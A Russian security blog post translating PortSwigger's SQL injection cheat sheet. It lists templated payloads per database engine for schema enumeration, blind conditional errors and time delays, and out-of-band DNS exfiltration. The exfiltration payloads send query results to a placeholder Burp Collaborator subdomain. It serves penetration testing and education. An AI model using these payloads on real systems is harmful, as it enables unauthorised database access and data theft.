portfob.ru

Блог web безопасности
  • Главная
  • О блоге
Главная  /  Шпаргалки  /  Памятка по SQL-инъекциям

Памятка по SQL-инъекциям

admin 28 мая, 2021 Шпаргалки
sql injection - шпаргалка

Эта шпаргалка по SQL-инъекциям содержит примеры полезного синтаксиса, который можно использовать для выполнения множества задач, которые часто возникают при выполнении атак с использованием SQL-инъекций.

Конкатенация строк

Вы можете объединить несколько строк в одну.

Oracle'foo'||'bar'
Microsoft'foo'+'bar'
PostgreSQL'foo'||'bar'
MySQL'foo' 'bar' [Обратите внимание на пробел между двумя строками]
CONCAT('foo','bar')

Подстрока

Вы можете извлечь часть строки из указанного смещения с указанной длиной. Обратите внимание, что индекс смещения отсчитывается от 1. Каждое из следующих выражений вернет строку ba.

OracleSUBSTR('foobar', 4, 2)
MicrosoftSUBSTRING('foobar', 4, 2)
PostgreSQLSUBSTRING('foobar', 4, 2)
MySQLSUBSTRING('foobar', 4, 2)

Комментарии

Вы можете использовать комментарии, чтобы усечь запрос и удалить часть исходного запроса, которая следует за вашим вводом.

Oracle--comment
Microsoft--comment
/*comment*/
PostgreSQL--comment
/*comment*/
MySQL#comment
-- comment [Обратите внимание на пробел после двойного тире]
/*comment*/

Версия базы данных

Вы можете запросить базу данных, чтобы определить ее тип и версию. Эта информация полезна при формулировании более сложных атак.

OracleSELECT banner FROM v$version
SELECT version FROM v$instance
MicrosoftSELECT @@version
PostgreSQLSELECT version()
MySQLSELECT @@version

Содержимое базы данных

Вы можете перечислить таблицы, существующие в базе данных, и столбцы, которые эти таблицы содержат.

OracleSELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
MicrosoftSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQLSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQLSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Условные ошибки

Вы можете протестировать одно логическое условие и вызвать ошибку базы данных, если условие истинно.

OracleSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual
MicrosoftSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQLSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END
MySQLSELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

Пакетные (или составные) запросы

Вы можете использовать пакетные запросы для последовательного выполнения нескольких запросов. Обратите внимание, что пока выполняются последующие запросы, результаты не возвращаются в приложение. Следовательно, этот метод в первую очередь используется в отношении слепых уязвимостей, когда вы можете использовать второй запрос для запуска поиска DNS, условной ошибки или временной задержки.

OracleDoes not support batched queries.
MicrosoftQUERY-1-HERE; QUERY-2-HERE
PostgreSQLQUERY-1-HERE; QUERY-2-HERE
MySQLQUERY-1-HERE; QUERY-2-HERE

Примечание

В MySQL пакетные запросы обычно не могут использоваться для внедрения SQL. Однако иногда это возможно, если целевое приложение использует определенные API-интерфейсы PHP или Python для связи с базой данных MySQL.

Задержки во времени

Вы можете вызвать задержку по времени в базе данных при обработке запроса. Следующее вызовет безусловную задержку времени 10 секунд.

Oracledbms_pipe.receive_message(('a'),10)
MicrosoftWAITFOR DELAY '0:0:10'
PostgreSQLSELECT pg_sleep(10)
MySQLSELECT sleep(10)

Условные задержки

Вы можете протестировать одно логическое условие и активировать временную задержку, если условие истинно.

OracleSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
MicrosoftIF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQLSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQLSELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')

Поиск DNS

Вы можете заставить базу данных выполнять поиск DNS во внешнем домене. Для этого вам нужно будет использовать клиент Burp Collaborator для создания уникального поддомена Burp Collaborator, который вы будете использовать в своей атаке, а затем опросите сервер Collaborator, чтобы подтвердить, что поиск DNS произошел.

OracleСледующий метод использует уязвимость внешнего объекта XML ( XXE ) для запуска поиска DNS. Уязвимость исправлена, но существует множество не
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual

исправленных установок Oracle : Следующий метод работает на полностью исправленных установках Oracle, но требует повышенных привилегий:
SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')
Microsoftexec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'
PostgreSQLcopy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'
MySQLСледующие методы работают только в Windows:
LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a')
SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'

Поиск DNS с кражей данных

Вы можете заставить базу данных выполнять поиск DNS во внешнем домене, содержащем результаты внедренного запроса. Для этого вам нужно будет использовать клиент Burp Collaborator для создания уникального поддомена Burp Collaborator, который вы будете использовать в своей атаке, а затем опросить сервер Collaborator, чтобы получить сведения о любых взаимодействиях DNS, включая извлеченные данные.

OracleSELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
Microsoftdeclare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"')
PostgreSQLcreate OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
MySQLСледующая техника работает только в Windows:
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'

Источник:

https://portswigger.net/web-security/sql-injection/cheat-sheet
Previous Article
Next Article

Related Posts

  • Шпаргалка по Burp Suite Cheat Sheet

    Шпаргалка по Burp Suite

    17.03.2022

Рубрики

  • SECURITY TIME
    • BugTrack
    • Уязвимости
  • Мои записки
  • Прочие
  • Шпаргалки

Свежие записи

  • Шпаргалка по Burp Suite
  • Уязвимость в плагине PPOM for WooCommerce Pro version 23.2
  • Памятка по SQL-инъекциям
  • XSS в сервисе Яндекс-карты
  • Как вирусы убивают скрипты сайта
  • Символы, о значении которых мы и не догадывались
  • Уводим клиентскую базу с “Клатч”
  • Exploitation of the Vulnerability in Plugin for WordPress «Wordfence Security»
  • Как защитить сайт от копирования
  • Старое о главном – проблемы администраторов серверов
Tweets by winstrool
Home page of Winstrool |